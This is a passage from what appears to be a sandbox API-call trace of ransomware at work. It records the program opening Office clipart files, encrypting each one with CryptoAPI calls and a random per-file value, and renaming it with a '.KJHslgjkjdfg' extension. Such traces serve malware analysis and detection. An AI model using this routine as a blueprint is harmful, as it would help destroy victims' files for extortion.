lpOverlapped=0x0) returned 1 [0204.514] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.514] SetEndOfFile (hFile=0x130) returned 1 [0204.516] GetProcessHeap () returned 0x2ef0000 [0204.516] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.516] GetProcessHeap () returned 0x2ef0000 [0204.516] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.kjhslgjkjdfg")) returned 1 [0204.517] CloseHandle (hObject=0x130) returned 1 [0204.518] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0204.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.519] GetProcessHeap () returned 0x2ef0000 [0204.519] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.519] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.519] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.521] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.521] GetProcessHeap () returned 0x2ef0000 [0204.521] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.521] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.521] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.522] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.522] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.522] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x60dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x60dc, lpOverlapped=0x0) returned 1 [0204.525] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60e0, dwBufLen=0x60e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60e0) returned 1 [0204.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.526] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x60e0, lpOverlapped=0x0) returned 1 [0204.526] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.526] SetEndOfFile (hFile=0x130) returned 1 [0204.529] GetProcessHeap () returned 0x2ef0000 [0204.529] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.529] GetProcessHeap () returned 0x2ef0000 [0204.529] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.kjhslgjkjdfg")) returned 1 [0204.530] CloseHandle (hObject=0x130) returned 1 [0204.531] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0204.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.531] GetProcessHeap () returned 0x2ef0000 [0204.531] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.532] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.532] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.533] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.533] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.534] GetProcessHeap () returned 0x2ef0000 [0204.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.534] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.534] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.535] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f46, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f46, lpOverlapped=0x0) returned 1 [0204.536] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f50, dwBufLen=0x1f50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f50) returned 1 [0204.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.536] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f50, lpOverlapped=0x0) returned 1 [0204.536] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.536] SetEndOfFile (hFile=0x130) returned 1 [0204.536] GetProcessHeap () returned 0x2ef0000 [0204.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.536] GetProcessHeap () returned 0x2ef0000 [0204.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.kjhslgjkjdfg")) returned 1 [0204.544] CloseHandle (hObject=0x130) returned 1 [0204.544] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0204.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.546] GetProcessHeap () returned 0x2ef0000 [0204.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.546] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0204.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.548] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.548] GetProcessHeap () returned 0x2ef0000 [0204.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.549] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.549] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.549] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.549] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.549] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24e2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x24e2, lpOverlapped=0x0) returned 1 [0204.550] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24f0, dwBufLen=0x24f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24f0) returned 1 [0204.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.550] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x24f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x24f0, lpOverlapped=0x0) returned 1 [0204.551] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x25c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.551] SetEndOfFile (hFile=0x130) returned 1 [0204.553] GetProcessHeap () returned 0x2ef0000 [0204.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.553] GetProcessHeap () returned 0x2ef0000 [0204.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.kjhslgjkjdfg")) returned 1 [0204.554] CloseHandle (hObject=0x130) returned 1 [0204.554] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0204.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.555] GetProcessHeap () returned 0x2ef0000 [0204.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.556] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.556] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.560] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.560] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.560] GetProcessHeap () returned 0x2ef0000 [0204.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.560] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.560] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.560] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.561] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.561] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.561] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.561] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9b3a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9b3a, lpOverlapped=0x0) returned 1 [0204.562] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9b40, dwBufLen=0x9b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9b40) returned 1 [0204.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.562] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9b40, lpOverlapped=0x0) returned 1 [0204.562] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.563] SetEndOfFile (hFile=0x130) returned 1 [0204.565] GetProcessHeap () returned 0x2ef0000 [0204.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.565] GetProcessHeap () returned 0x2ef0000 [0204.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.kjhslgjkjdfg")) 